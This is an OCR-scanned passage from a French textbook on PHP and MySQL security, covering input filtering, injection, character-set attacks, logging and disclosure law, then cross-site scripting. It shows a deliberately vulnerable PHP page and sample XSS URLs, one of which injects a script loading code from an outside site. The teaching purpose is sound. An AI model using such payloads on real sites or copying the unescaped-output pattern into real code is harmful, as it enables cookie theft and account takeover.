choix du nombre de parachutes a emporter. Avec deux parachutes, on a de bonnes chances 
d'atterrir vivant. Avec trois, c'est encore mieux, mais c'est beaucoup plus encombrant. . . 
De la meme facon, ajouter des validations dans le modele n'est pas toujours pertinent. II 
faut done arriver a un compromis entre le niveau de securite et les contraintes d'ergonomie 
ou de performances. 



La securite dans le developpement 

La securite au cours du developpement n'est pas a presenter et, en general, incombe auto- 
matiquement aux programmeurs. Et effectivement, une grosse partie de la securite se 
concretisera dans le code, a partir du cadre fourni par la conception. 

Dans le code PHP et MySQL, la securite se resume a savoir faire la difference entre ses 
amis et ses ennemis : il faut proteger ses amis et neutraliser ses ennemis, ce qui correspond 
au principe meme de la vie. 

Filtrer les donnees entrantes 

A moins que votre site ne soit monolithique et ne diffuse que des verites indeboulonnables, 
vous devrez exploiter des donnees en provenance de vos visiteurs. Tous les sites utilisent 
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maintenant des donnees dynamiques, issues de formulaires, de sites externes ou meme de 
ressources complexes. 

Ainsi, a un moment donne, votre site va manipuler des donnees qu'il ne connait pas a 
l'avance mais qu'il sera amene a utiliser ensuite. Afficher, calculer, traiter, tester ou 
verifier : autant d'operations de base qui seront appliquees aux donnees. Toutefois, toutes 
ces operations ont un prerequis : il faut que les donnees ne perturbent pas 1' execution des 
operations. 

Filtrer les donnees ententes signifie simplement que les donnees qui sont recues doivent 
avoir un format particulier pour que le code soit autorise a les manipuler. C'est un peu 
comme un formulaire administratif : il faut que ca rentre dans les cases, sinon le dossier 
devra etre refait. 

« Garbage in, garbage out » ou « a question idiote, reponse idiote ». La regie d'or des 
informaticiens reste valable sur le Web. II faut se metier autant que possible des donnees 
qui vous sont transmises sur le Web. Entre l'utilisateur, qui peut etre etourdi, incompetent 
ou diminue par son navigateur, et votre script, il y a encore tous les serveurs qui se 
relaient 1' information, le serveur web et PHP lui-meme qui interviennent sur vos 
donnees. Avant toute utilisation, il faut done mettre ses gants et litteralement desinfecter 
les donnees. 

Par filtre, nous entendons tout critere permettant d' identifier clairement une erreur dans 
la saisie. Prenons un exemple simple : imaginez un formulaire qui demande la saisie d'un 
prenom. II n'est pas possible de prevoir une liste exhaustive des prenoms, alors il faudra 
recourir a des nitres. Les criteres a appliquer a un prenom sont nombreux : est-il trop 
court ? Peut-on accepter un prenom d'un seul caractere ? Peut-on accepter un prenom de 
100 caracteres ? Peut-on autoriser un prenom avec des chiffres ? des accolades ? des 
guillemets doubles ? des espaces ? 

Rien qu'en repondant a ces premieres questions, on va pouvoir definir un cadre dans 
lequel une chaine de caracteres doit entrer pour etre consideree comme un prenom. Cette 
liste n'est evidemment pas exhaustive et pourra etre completee par la suite avec d'autres 
criteres. Neanmoins, ces premiers tests permettent d'ecarter un grand nombre d'erreurs 
et d'ecoeurer la majorite des pirates. 

Le concept d 'injection 

Lune des grandes forces de PHP est qu'il sait communiquer avec de tres nombreuses 
technologies. SQL, XML, HTML, JavaScript, fichiers, systeme, RSS, services web, etc. 
Grace a cette facilite de communication, PHP devient la plaque tournante entre differents 
systemes. Cependant, meme s'ils ont tous leurs regies de securite, ces dernieres sont 
generalement incompatibles les unes avec les autres et avec celles de PHP. Cela signifie que 
ce qui est mauvais pour une technologie peut etre acceptable pour les autres, et vice versa. 

Le concept d'injection consiste ainsi a transmettre a PHP des donnees qu'il enverra a son tour 
a d'autres systemes. Ces donnees sont inertes pour PHP, qui n'est pas affecte directement. 
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Par contre, les donnees auront une interpretation significative lorsqu'elles seront transmises 
aux systemes connectes a PHP. 

C'est le cas des XSS (Cross-Site Scripting, voir p. 19) : cette attaque consiste a injecter 
du code HTML et JavaScript dans une page pour declencher une reaction du navigateur. 
II existe aussi les injections SQL qui ciblent les bases de donnees, pour realiser des denis de 
services, extraire des informations, obtenir des droits ou simplement detruire la base. Ce 
sont les formes les plus connues d' injections, mais le meme principe peut se repeter avec 
toutes les autres technologies. 

Le probleme existe notamment lorsque PHP compose des commandes sous forme de chai- 
nes de caracteres, avant de les envoyer au systeme distant. mysql_query prend en argument 
une requete SQL sous forme de chaine de caracteres. Celle-ci sera analysee et executee par 
le serveur MySQL. Durant l'assemblage de la commande, un motif de commande est utilise 
et les donnees sont ajoutees a des emplacements specifiques. Du point de vue de la 
concatenation, et done de PHP, la manipulation d'une injection SQL est totalement 
inerte. C'est le serveur MySQL qui en subira les consequences. En jouant habilement sur 
les delimiteurs de donnees, une injection va sortir du cadre de la commande SQL et 
modifier son comportement. De manipulees, les donnees deviennent manipulantes. 

De plus en plus, PHP met en place des solutions ou les donnees sont traitees separement 
de la commande. C'est le cas des commandes SQL preparees, qui separent la compi- 
lation de la commande des donnees qui seront traitees. Avec cette approche, il n'y a plus 
de possibility d'injection. 

Ainsi, mefiez-vous simplement de la concatenation de chaines. Cette operation simple a 
comprendre passe a cote d'un point important : la signification de la commande. 

Le piege des jeux de caracteres 

Pour compliquer 1' equation, tous les octets n'ont pas la meme valeur. Les jeux de carac- 
teres representent le prochain defi pour le Web et pour la securite. Le combat est deja 
engage dans d' autres regions du monde, qui doivent composer avec des jeux de caracteres 
peu connus du monde occidental. 

Les jeux de caracteres font la liaison entre les octets et leur valeur. Par exemple, le carac- 
tere « e accent aigu », « e », est represents de differentes manieres (tableau 1-1). 



Tableau 1-1 Diverses representations hexadecimales du caractere << e » 



Jeu de caracteres 


Representation hexadecimale 


UTF-8 


C3-A9 


UTF-16 


00-E9 


UTF-16 


E9-00 


ISO Latin 1 


E9 


Western Mac OS Roman 


8E 


GB 18030 


A8-A6 


ISO-2022-JP 


3F 
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Comme vous pouvez le constater, il existe plusieurs types de situations : un seul octet ou 
bien deux pour representer un caractere (cela peut aller jusqu'a quatre octets), big ou 
little endian (les octets sont ranges en ordre croissant ou decroissant d' importance), 
compatibilite avec d'autres formats ou non. Au final, la correspondance est totalement 
arbitraire entre les octets et la valeur qu'ils representent. 

Unicode (http://www.unicode.org) apporte une solution a ce casse-tete en proposant une 
norme internationale, qui permettra de representer n'importe quel caractere de n'importe 
quelle langue au monde, y compris les nombreux ideogrammes asiatiques, certaines 
langues mortes, les symboles, etc. 

En attendant, il faut composer avec un paysage complexe, dans lequel le navigateur et le 
serveur doivent echanger des informations pour savoir quel jeu de caracteres parle l'autre. 
Sans un minimum de concertation, le dialogue est impossible et les donnees seront 
massacrees par les jeux de caracteres. 

En termes de securite, les jeux de caracteres sont aujourd'hui une voie d'injection impor- 
tante. La pratique courante est d' envoy er au serveur le contenu d'une attaque en indi- 
quant un jeu de caracteres different de celui qui est attendu. Cela conduit le serveur a 
appliquer des mesures de protection inadaptees , voire totalement nocives. C'est avec 
cette approche que Ton peut envoyer des caracteres Big5 mal formes a PHP, et que les 
guillemets magiques, croyant identifier des caracteres a proteger, ajoutent des barres 
obliques inverses ; le resultat final est une chaine qui contient en realite un guillemet 
proprement forme et apte a pratiquer une injection. 

II faut done apporter une attention particuliere a la gestion des jeux de caracteres sur une 
application web. 

Suivre les donnees 

Apres avoir caracterise les valeurs entrantes, il est necessaire de savoir en tout point de 
1' application si les donnees que vous manipulez sont saines ou non. PHP fournit les 
donnees dans plusieurs variables super-globales, telles que $J3ET et $_P0ST, etc. mais 
savez-vous toujours faire la difference entre une variable qui a ete validee et une autre qui 
est encore brute, si vous utilisez toujours ces variables ? 

Pour avoir un comportement sur, il est important de savoir a tout moment si vous utilisez 
des valeurs brutes ou validees. La strategie la plus courante est d'imposer un systeme de 
filtrage sous forme de bibliotheque externe, qui se charge a chaque debut de script. Une 
autre strategie consiste a placer les variables validees dans un autre tableau global, avec 
un nom explicite : 

| $_CLEAN, $_VALIDATED, $_SAFE, $_PR0PRE 

Cette strategie a le merite d' avoir une approche en liste blanche assez simple et de signa- 
ler immediatement dans un script quelles donnees ont ete validees ou non. Elle permet 
aussi de centraliser les validations et de tres peu changer les pratiques de programmation 
des developpeurs. 
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En poussant le raisonnement plus loin, il est aussi interessant de savoir si une variable a 
ete validee pour un contexte. Apres un tableau $_CLEAN, on peut avoir des tableaux $_SQL, 
$_HTML et/ou $_URL, avec des donnees validees pretes a etre utilisees dans ces contextes. 
Lorsque ces valeurs seront utilisees dans des chaines de commandes et concatenees, 
vous, et votre auditeur, serez certain que les donnees sont bien celles que vous attendez. 

Proteger les donnees sortantes 

Enfin, la protection des donnees en sortie est l'equivalent du filtrage en entree. Elle 
consiste a s' assurer que les donnees qui sortent de PHP sont neutres pour la prochaine 
technologie qui va les utiliser. C'est le principe meme du bon voisinage. 

Les sorties d'un script PHP sont en fait tres nombreuses, car PHP est capable de commu- 
niquer avec de nombreux systemes dont les plus evidents sont bien sur HTML et SQL. 
Toutefois, PHP est capable de travailler avec bien d'autres technologies : JavaScript, 
CSS, images, LDAP, XML, text, Open Office et Microsoft Office, SSH, FTP... La liste 
s' allonge sans cesse. 

Laissez-nous vous raconter une anecdote. « Viens voir, le site web m'insulte. . . ». Face a 
une telle interpellation, il est difficile de ne pas attirer le webmestre en face de vous. 
« Non, c'est pas vrai », vous dit-il en vous rejoignant. « Mais si, regarde, il y a ecrit Gros 
Lard dans la page de recherche ». Apres une seconde de reflexion, il vous dit : « Montre- 
moi le code source de la page ». Vous vous executez, et decouvrez la phrase d'insulte au 
milieu du code. « Si c'est dans le code, c'est que tu l'as modifie ! ». « Attends, je 
recharge la page sur le site », lui retorquez-vous. Et encore une fois, le site web vous 
insulte. « C'est incroyable. . . peut-etre un test de debogage qui a ete oublie ? J'essaie sur 
mon poste » dit le webmestre, en se rendant dans son bureau avant que vous ne puissiez 
le retenir. .. L' injection que vous aviez utilisee passait par une methode POST, ce qui 
rendait le code totalement invisible dans l'URL, mais il fallait quand meme le taper dans 
le formulaire. « Sur mon poste, ca ne le fait pas... » affirme le webmestre en revenant 
rapidement. 

Depuis, le site de ce transporteur aerien bien connu a ete corrige et il n'est plus possible 
de plaisanter a ses depens. II suffisait effectivement d'inserer un guillemet double ("), 
puis un signe « superieur a » (>) pour glisser du texte dans le code source de la page de 
recherche et afficher une belle invective. En definitive, c'est bien et bel le site web 
victime qui produit une page et introduit dans son code source des instructions : cela 
revient a publier du contenu. 

Lorsque vous affichez du contenu sur votre site web, pensez toujours que votre applica- 
tion publie des informations pour vous : elle ne fait que diffuser le contenu que vous lui 
demandez. 

La protection des donnees en sortie s'applique a l'eradication de code JavaScript ou de 
balises inopinees dans les pages HTML, mais aussi a l'eradication des caracteres 
speciaux SQL, LDAP, Shell, URL et XML ou encore toute autre technologie que vous 
utilisez conjointement a PHP. II est done de votre responsabilite d' afficher des donnees 
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aussi propres que possible, car c'est votre reputation que vous affichez sur vos applications. 
Et une application qui vous insulte, ce n'est pas un bon debut. . . 

Les audits de code 

Meme avec les meilleurs concepts de securite en tete, vous pourrez etre a la merci d'une 
inattention qui laisse passer une vulnerabilite. Une bonne pratique de securite consiste a 
faire auditer votre code, c'est-a-dire a le faire relire par un intervenant qui n'a pas pris 
part au developpement du projet. L'auditeur peut etre un collegue qui travaille sur un 
autre projet, un ami ou encore un responsable interne de la securite. II est simplement 
important qu'il connaisse les technologies mises en jeu et qu'il soit suffisamment detache 
du projet. 

Meme un non-informaticien pourra vous etre precieux. La presentation d'un projet a 
autrui apporte toujours des enseignements. Le simple fait de detailler le projet et son 
fonctionnement interne permet d'eclairer l'auteur et conduit a une bien meilleure appli- 
cation. 

Une pratique issue de la programmation extreme est la programmation par paire : c'est 
parfois un exercice d'humilite. La programmation se fait par deux : un programmeur au 
clavier et un autre qui l'assiste, surveille le code et suit le projet du point de vue de la 
conception. Generalement, le partenaire identifie de nombreuses erreurs de codage durant 
ce dernier. 

La securite de tous les jours 

Une fois que 1' application est prete, elle est lancee en production. L application doit 
maintenant realiser les taches pour lesquelles elle a ete concue, sans faire ce qu'on n'en 
attend pas. Apres avoir planifie, il s'agit maintenant de surveiller et d'utiliser tous les 
atouts de 1' application pour maintenir la stabilite et la qualite du site. 

Moderer le contenu 

La moderation du contenu publie par votre application est une technique de securite 
souvent dedaignee. Meme si la securite de votre application repose essentiellement sur PHP, 
il existe un point ou PHP ne saura plus faire la difference entre un contenu acceptable et 
un contenu qui n'est pas acceptable. 

Les exemples sont nombreux : pour le cas d'un commentaire sur un blog, il sera facile a 
PHP de verifier si un message envoye ne contient pas d'attaque XSS. Cependant, il lui 
sera difficile de s'assurer que le contenu publie est legal, decent ou presente un interet en 
relation avec le blog. II existe de nombreuses applications qui publient immediatement 
les commentaires, pour realiser trop tard que des spammeurs ont deja mis au point des 
techniques avancees de postage de masse. Avant d'accepter et de publier sur votre site 
n'importe quel commentaire, il vous faut peut etre les verifier par vous-meme. 

La moderation de contenu est probablement la technique la plus contraignante : quoi de 
plus precieux que le temps du webmestre ? Doit-il vraiment passer en revue les milliers 
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de messages du forum et les centaines de nouveaux comptes ? Le choix de cette techni- 
que peut devenir rapidement difficile a gerer : generalement, on demande a PHP de faire 
les premiers choix, comme ecarter certains mots-cles, puis les cas litigieux sont transmis 
au webmestre et on espere que d'ici a ce que le probleme ne se represente, de nouvelles 
techniques auront ete mises en place pour y parer. 

Veiller par les logs 

Parmi les outils de surveillance et d' analyse d'une application web, les logs jouent un 
role primordial bien qu'ils soient trop souvent oublies. Pourtant, ils fournissent des infor- 
mations cruciales pour retracer ce qui s'est passe durant l'execution d'une application, 
que ce soit apres une catastrophe, ou en prevision d'une attaque. 

Les logs enregistrent les operations importantes qui jalonnent la vie d'une application : 
reglements de factures, modifications de coordonnees, ajouts ou retraits d'utilisateurs, 
ajouts de commentaires, effacements, entretien, etc. Idealement, ils devraient etre mis a jour 
des qu'une operation jugee critique est realisee. 

L' importance des logs tient surtout au fait qu'ils sont actifs meme lorsque aucun adminis- 
trateur n'est present sur le site et lorsque l'equipe de programmation est partie sur un 
autre projet. 

On peut s'en servir apres un desastre, pour s'approcher de l'origine du probleme. On peut 
aussi s'en servir pour surveiller l'execution normale d'une application : meme quand 
1' application fonctionne comme une horloge, il est bon d'etudier les logs regulierement. 
Cela permet de savoir comment les utilisateurs se servent de 1' application, ou bien de 
de teeter des tentatives de piratage. Parfois, dans le cas des acces en lecture aux donnees 
confidentielles, les logs sont la seule trace d'une attaque. Ils sont d'ailleurs souvent 
l'objet d'attaques de pirates cherchant a couvrir leurs traces. 

De la necessite de se tenir a jour 

Les logs assurent le suivi de production de votre application. Neanmoins, des que vous 
avez adopte une application, une plate-forme ou une bibliotheque, il faut suivre son 
actualite: comme vous, la communaute veille au grain, notamment en termes de securite. 
Des qu'un autre utilisateur surprend une utilisation indue de 1' application ou une vulne- 
rability, il la rapporte aux editeurs, pour correction. C'est autant de travail que vous 
n'avez pas a faire, mais cela ne vous epargne pas tout. 

PHP, MySQL et beaucoup d' applications s'efforcent de publier des correctifs des que des 
problemes significatifs sont identifies. En general, le groupe PHP reagit en quelques 
jours a un probleme significatif, ou inclut la correction dans la prochaine version publiee. 
MySQL force aussi son calendrier de publication pour livrer une version de securite. 

Toutefois, les statistiques montrent qu'il y a toujours des retardataires qui ne mettent pas 
leur version a jour dans des delais raisonnables. II en existe meme qui ne touchent plus a 
leur configuration apres avoir reussi 1' installation. Cela explique pourquoi il existe 
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encore des utilisateurs de PHP 4.3.1 ou 4.3.4, alors que de nombreuses vulnerabilites ont 
ete decouvertes et corrigees dans les douze versions qui ont suivi. 

Generalement, les outils d'attaque massive qui exploitent une vulnerabilite sont optimi- 
ses pour une version specifique, et quelques versions anterieures. lis sont rapidement 
bloques par une mise a jour : il faut done appliquer cette derniere le plus rapidement 
possible. Une fois qu'un auteur a publie sa mise a jour, e'est au webmestre d'un site de 
prendre les mesures qui s'imposent. Le plus souvent, e'est vous. 

Parfois aussi, lorsqu'une vulnerabilite est publiee, un palliatif est propose. Par exemple, 
si une injection de code distant est decelee dans une application, vous avez deux solutions : 
mettre a jour 1' application avec la nouvelle version ou bien desactiver la directive PHP 
allow_url_fopen. Selon vos besoins en fonctionnalites PHP, vous pourrez peut etre vous 
passer de cette directive ; dans ce cas, le plus simple est de modifier votre configuration 
PHP. Si vous ne pouvez pas vous passer de cette fonctionnalite, il faudra alors faire la 
mise a jour. 

Dans tous les cas, reagissez. 

Se metier aussi des navigateurs 

La veille securitaire doit egalement inclure le navigateur, aussi appele browser. C'est le 
navigateur qui recoit le code cree par PHP et qui l'execute, que ce soit du HTML, du 
JavaScript, des CSS, des images, etc. C'est aussi lui qui sert de point d'appui pour certaines 
attaques telles que les CSRF (Cross-Site Request Forgeries, voir p. 29) ou XSS. 

Internet Explorer et Firefox, qui sont les deux navigateurs dominants actuellement sur le 
marche, sont regulierement sujets a de longues listes de bogues. Ceux-ci sont lies a une 
gamme tres vaste de problemes : il y a les standards qui ne sont pas respectes, les specifi- 
cations ambigues qui sont interpreters de difterentes manieres, les modules optionnels qui 
ont leurs propres problemes, jusqu'aux bogues d'implementation, qui permettent de 
realiser des operations interdites. II nous faudrait un livre complet pour couvrir ce sujet. 

II est souvent illusoire de se proteger contre le navigateur. Les problemes apparaissent et 
disparaissent trop vite pour qu'une application web s'adapte en permanence : personne 
n'a suffisamment de ressources pour cela. 

La strategie raisonnable est done de surveiller les vulnerabilites qui sortent, et de voir si 
cela a un impact direct sur votre application. Une analyse du trafic vous dira immediatement 
si le nombre de victimes ou de vecteurs potentiels est grand et si vous devez mettre en 
place des protections specifiques. 

Ceci n'est pas un plaidoyer pour 1' inaction : si vous envisagez de mettre en place des 
protections specifiques, il est bon d'utiliser une approche simple, et prevoyez de pouvoir 
retirer facilement cette protection. Les chances sont grandes pour que le probleme ait 
disparu de lui-meme quelques mois ou semaines plus tard, ou qu'une correction soit 
incompatible avec tous les autres navigateurs. 
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Les aspects legaux de la securite 

Pour finir, sachez que la securite d'un site web est maintenant prise en compte dans 
divers systemes de protection, notamment celui de la propriete intellectuelle. Si les 
aspects techniques de la securite sont delicats a traiter, les aspects legaux peuvent se 
reveler bien plus epineux. 

Prenez le site web de votre banque. Apres vous etre dument identirie, vous commencez vos 
operations mensuelles et vous realisez rapidement qu'il y a une petite vulnerabilite : une 
validation qui est mal faite, et vous reussissez a injecter une alerte JavaScript dans la page. 
Vous etudiez le probleme et rapidement, vous avez la conviction que vous avez identirie un 
probleme benin, mais qui peut se reveler serieux. Vous documentez la vulnerabilite, avec un 
petit exemple et un cas de test complet, que vous faites parvenir a securite@mabanque-en- 
ligne. com. Votre banque est une institution serieuse, mais cela ne fait pas de mal de l'aider. 

Pourtant, a la place d'une lettre de remerciement, ou me me simplement un accuse de 
reception de votre message, c'est une lettre d'avocat qui vous attend le lendemain matin 
dans votre boite postale : vous etes assigne a comparaitre au tribunal pour une tentative 
de piratage de site ! 

Cette situation est totalement inventee, et probablement extreme, mais parfaitement possi- 
ble. Sachez que decouvrir une vulnerabilite et la documenter peut etre considere comme un 
acte criminel : vous violez la propriete privee du proprietaire du site web. L' anglais 
Daniel Cuthbert a ainsi teste la securite du site web d'une association caritative et a tente 
d'acceder aux dossiers superieurs de la racine web. II a ete reconnu coupable, et condamne 
a une amende de 400 livres sterling, ainsi que 600 livres pour dommages et interets. 

Analyser un site pour decouvrir des vulnerabilites vous met directement a la merci de ses 
proprietaires : c'est un cas d'utilisation abusive du site. Legalement, un utilisateur est 
reconnu coupable si les donnees auxquelles il accede ne lui sont pas autorisees. Autre - 
ment dit, meme si les donnees ne sont pas protegees et si vous y accedez par inadver- 
tance, vous pouvez etre reconnu coupable. Bien sur, la legislation varie d'un pays a 
1' autre, et les reactions des institutions ne sont pas toutes les memes. Toutefois, pour le 
meilleur ou pour le pire, les tentatives de piratage sont universellement reconnues comme 
des actes criminels et punis comme tels. Soyez done prevenu ! 

Evidemment, tous les sites ne sont pas paranoiaques : certains, tels que Google, Yahoo! ou 
Flickr reagissent generalement en colmatant la breche et en collaborant avec les decou- 
vreurs. Les projets Open Source et nombre de projets proprietaires ont des reactions simi- 
laires. lis apprecient un protocole bien rode : lorsqu'une vulnerabilite est decouverte, il faut 
prevenir immediatement les auteurs, avec la preuve, un prototype ou un synopsis facile a 
suivre. Ensuite, l'auteur dispose d'un delai raisonnable pour produire une correction et la 
publier. Generalement, cela se fait en quelques jours apres l'avertissement. Puis, lorsque la 
correction a ete publiee, on peut publier a son tour la vulnerabilite. 

Cette technique permet de proteger les auteurs d'un projet, mais gardez en tete que le 
probleme est alors reporte au niveau des utilisateurs : ces derniers doivent se mettre a 
jour. Lors de la publication de la vulnerabilite, il est done important de ne pas faciliter la 
vie des pirates qui en prendront connaissance. 



2 



Vulnerability 
des pages web 



PHP et MySQL constituent la plate-forme la plus populaire pour produire des applica- 
tions web. Celle-ci est bien securisee contre les attaques. Elle a la charge de produire une 
application web et d'en securiser le code, c'est-a-dire que les pages HTML creees a partir 
de PHP et des donnees de l'utilisateur ne doivent donner que le resultat attendu. 

Les vulnerabilites web ont ete identifiers comme les plus nombreuses en 2006 et seront 
encore en tete dans les prochaines annees : entre la facilite d'acces via le reseau Internet, 
la popularite des applications et la negligence de certains webmestres, il y a de nombreuses 
occasions pour exploiter une application en ligne. 

Dans ce chapitre, nous passerons en revue les risques encourus par les applications web, 
qu'elles soient PHP ou non. Nous presenterons les protections possibles a mettre en place 
avec PHP et MySQL pour ne plus etre une victime. 

Les injections HTML : XSS 

XSS est un sigle anglophone, qui signifie Cross-Site Scripting, pour lequel il n'y a pas 
encore d'equivalent francais reconnu. C'est dommage, car cela aiderait peut-etre a mieux 
comprendre ce qu'est un XSS et done a mieux s'en defendre. La definition la plus repre- 
sentative qui existe actuellement est « injection HTML ». 

Vous l'aurez sans doute deja remarque, le sigle devrait etre CSS. II fallait en trouver un 
autre puisque ce dernier est utilise pour Cascading Style Sheets. En anglais, a cross est 
une croix, souvent symbolisee par la lettre X. Malgre cela, la confusion est frequente 
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avec CSS : cela contribue a donner une fausse impression de faille de securite qui n'est 
pas trap dangereuse. 

Historiquement, les premieres attaques XSS remontent a l'epoque des balises <frame>. 
Les frames, ou cadres, servent a decouper une page web en plusieurs zones, chacune 
d'entre elles etant geree par une page web independante. Pour garder une unite a la page, 
JavaScript se charge de faire communiquer les zones entre elles. 

Avec cette structure, il est difficile de voir si une telle page provient du site consulte ou 
bien d'un site externe. En effet, la page principale definit les cadres et leurs URL respec- 
tives. Comme pour les images, un cadre peut etre local ou bien place sur un site distant. 
Apres le chargement, chaque cadre gere sa propre navigation, ses images, son code 
JavaScript. On peut done naviguer sur un site et charger des pages sur autre site de facon 
totalement transparente. 

C'est sur ce camouflage que les premieres attaques XSS etaient basees. En modifiant le 
code de la page web contenant les cadres, un pirate parvenait a charger une page de son 
propre site. L'utilisateur sans mefiance croyait etre toujours sur le site qu'il visitait initia- 
lement, alors qu'en fait il naviguait sur les pages malintentionnees. Le pirate utilisait 
alors la credibilite du site web attaque et la credulite de l'utilisateur pour amener ce 
dernier a lui confier des informations confidentielles, comme des identifiants ou des 
coordonnees bancaires. 

Le terme XSS a ete forge a partir de ces premieres techniques : scripting pour 1' utilisa- 
tion de JavaScript ou de techniques HTML et cross-site pour indiquer le melange qui 
etait realise entre le site web vulnerable et le site pirate. 

Evidemment, avec la maturite des technologies et 1' abandon progressif des cadres, les 
techniques XSS ont evolue, mais le concept est toujours le meme. 

Pour etre plus clair dans la description de cette vulnerabilite, nous utiliserons le terme 
« injection HTML ». L'injection correspond bien a une vulnerabilite ou des donnees 
externes modifient le comportement de 1' application. HTML designe clairement les 
pages web comme vehicule de la vulnerabilite. On pourra aussi utiliser « injection 
JavaScript » ou meme « injection CSS » pour designer plus precisement des attaques utilisant 
uniquement l'une ou l'autre de ces technologies. « Injection HTML » est probablement 
le terme le plus generique et le plus facile a comprendre. 



Prototype d'une injection HTML 

Le concept initial d'une XSS est la possibility de faire une injection de code HTML ou 
JavaScript dans une page HTML. Le site est vulnerable dans la mesure ou il permet a un 
utilisateur externe de modifier le comportement d'une page web a l'aide des arguments 
qui sont envoyes a cette derniere. Voyons en pratique comment cela se passe. 
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L' archetype d'une vulnerabilite XSS est celui-ci : 

<html> 

<head> 

<title> 

Une page vulnerable 
</title> 
</head> 
<body> 

<?php echo "Bonjour ".$_GET['nom'] ; ?> 

</body> 
</html> 

Vous reconnaissez facilement la structure de base d'une page HTML tres depouillee. La 
variable nom est passee via l'URL comme ceci : 

http://www.monsite.com/index.php7nonFdaniien 

La variable nom est affichee directement dans la page, via la concatenation. $J5ET[ 'nom' ] 
est fournie par PHP a partir des donnees de l'URL et, dans ce script d' illustration, il est 
utilise brut : il n'y a aucune modification entre la valeur externe et celle qui est introduite 
dans la chaine affichee. Generalement, une telle page est utilisee comme action d'un 
formulaire et permet d'afficher le nom de l'utilisateur et de personnaliser la page. 

La vulnerabilite presentee dans cette page reside dans le fait qu'il est possible d'utiliser 
des caracteres HTML speciaux, tels que < et >, pour modifier le comportement de la page 
HTML produite. Le code peut faire plus que simplement afficher la variable envoyee et 
le nom de l'utilisateur. Observez cette URL, pointee sur le script ci-dessus : 

http://www.monsite.com/index.php?nom=%3Cb%3Emonsieur%3C%2Fb%3E 

Cette URL inclut maintenant deux balises HTML. Elles sont masquees ici, car < et > ne 
sont pas des caracteres valides dans une URL : il faut utiliser leur representation hexade- 
cimale, sous forme de %3C et 23 E. Toutefois, un navigateur moderne saura se debrouiller 
avec une URL telle que : 

http://www.monsite.com/index.php?nom=<b>monsieur</b> 

Nous avons maintenant une attaque possible pour le script. Grace a la vulnerabilite que 
nous avons identified, celui-ci va maintenant afficher le nom de l'utilisateur en gras. En 
effet, la balise <b> fait apparaitre le texte encadre en gras. On a done modifie le compor- 
tement initial de la page pour lui faire executer une fonctionnalite inattendue. 

A ce stade, il est certain que vous n'etes pas encore impressionne par les injections 
HTML : une vulnerabilite qui met en gras du texte dans une page web n'est pas un gros 
probleme. En fait, nous avons mis le doigt sur la vulnerabilite et nous pouvons mainte- 
nant l'exploiter pour realiser des attaques plus complexes. Pour cela, il suffit d'envoyer 
des balises HTML qui realisent des operations plus completes que simplement changer la 
graisse d'une police. 

Parmi les candidats, il y a bien sur les images, qui seront chargees sur un site distant ou 
bien 1' inclusion de JavaScript. 
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Reprenons notre exemple : 

I http://www.monsite.com/index.php7noiTFmonsieuKscript 
**src= "http://autre.site.com/xss.js" > 

Cette nouvelle attaque va injecter une balise JavaScript qui demande au navigateur de 
charger un fichier JavaScript complet, sur un autre site que le site vulnerable. Du point de 
vue du navigateur, c'est parfaitement valide. Une page HTML permet de combiner des 
contenus en provenance de differents sites. Generalement, un site web fournit la totalite 
des contenus qu'il affiche, mais ce n'est pas forcement toujours le cas. Par exemple, les 
services de statistiques demandent aux webmestres d'inclure un fichier JavaScript ou une 
image dans toutes leurs pages : ainsi lorsqu'un visiteur charge la page, il charge aussi des 
informations sur le site de statistiques, qui peut ainsi compter le nombre de visites. II est 
possible de charger de nombreuses ressources externes : des images, des animations 
Flash, des applets Java, des frames ou iframes, du code JavaScript, des feuilles CSS, etc. 

Normalement, les liens vers les ressources externes sont gerees par le programmeur de la 
page : c'est lui qui sait ou sont placees les ressources affichees dans la page et qui etablit 
les references la ou elles sont utiles. C'est une fonctionnalite immemoriale du Web et 
surement un atout pour le partage d' informations. Neanmoins, en ce qui concerne la 
securite, cela ouvre la porte aux injections les plus devastatrices : avec une vulnerabilite 
telle que celle que Ton vient de voir, une partie des ressources de la page est configured 
par un auteur externe arbitraire. 

Avec un fichier JavaScript externe, il est desormais possible de realiser de nombreuses 
operations distinctes avec le navigateur victime : 

• charger du contenu arbitraire : en ajouter, en supprimer, en modifier dans la page en 
cours ; 

• forcer 1' utilisation de formulaires : aussi bien ceux de la page en cours que les formu- 
laires distants ; 

• detourner des formulaires vers un autre site : l'autre site peut alors s'inserer dans les 
communications entre le navigateur et le site legitime ; 

• voler les cookies : cela conduit directement a l'usurpation d'identite ; 

• rediriger vers un autre site ; 

• faire executer au navigateur de nombreuses operations au nom de son utilisateur. 



Attaques par moteur de recherche 

Les injections que nous venons de voir sont des injections directes : le pirate donne a sa 
victime une URL modifiee, et cette derniere execute immediatement les operations arbi- 
traires. II existe des approches plus complexes, oil le pirate exploite les vulnerabilites via 
un intermediaire. Les plus surprenantes d' entre elles sont les moteurs de recherche. 
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Les attaques par moteur de recherche representent une technique de masquage d'atta- 
que. Pour construire une telle attaque, il faut commencer par mettre en place une URL 
qui pointe sur un site vulnerable. Une fois ceci fait, il faut la soumettre au referencement 
des differents moteurs de recherche. Ceux-ci vont aj outer l'adresse a leur liste de sites a 
verifier. A ce stade, il est important de savoir que les moteurs de recherche n'ont pas d' autre 
choix que d'interroger une URL pour savoir si elle est active et quel type de contenu 
elle contient. 

Du point de vue du pirate, cette attaque permet de masquer l'origine de l'attaquant. En 
effet, si le site victime cherche la source de l'attaque, il va remonter au moteur de recher- 
che. Et comme il est rarement possible de retrouver la personne qui a soumis une URL a 
un moteur de recherche, le pirate est hors d'atteinte. 

De plus, comme les moteurs de recherche prennent quelques jours avant de passer a 
l'indexation de nouvelles URL, cela peut aussi detacher une analyse de vulnerability de 
son exploitation reelle, rendant la tache d'analyse plus difficile. 

II n'y a pas de protection particuliere qui puisse etre mise en place a ce niveau-la. Ce type 
d' attaque doit etre compris, afin de ne pas confondre un moteur de recherche avec un 
pirate eventuel. Si votre site a ete protege, il ne devrait pas etre sensible a ce type d' attaque 
plus qu'a une autre. 

Savoir proteger les pages web 

La strategie de protection principale contre les injections HTML est la meme que pour 
toutes les injections : il faut neutraliser les donnees pour la technologie a laquelle elles 
sont transmises. 

Neutralisation des caracteres speciaux 

Dans le cas des pages web, il faut neutraliser les caracteres speciaux HTML. II y a deux 
fonctions de protection fournies par PHP : 

• html entiti est ) 

• html special chars ( ) 

html special chars ( ) remplace tous les caracteres qui ont une signification speciale en 
HTML par leur entite HTML : le terme « entite HTML » est un anglicisme pour designer 
une sequence representant un caractere special HTML. Par exemple, le caractere < est 
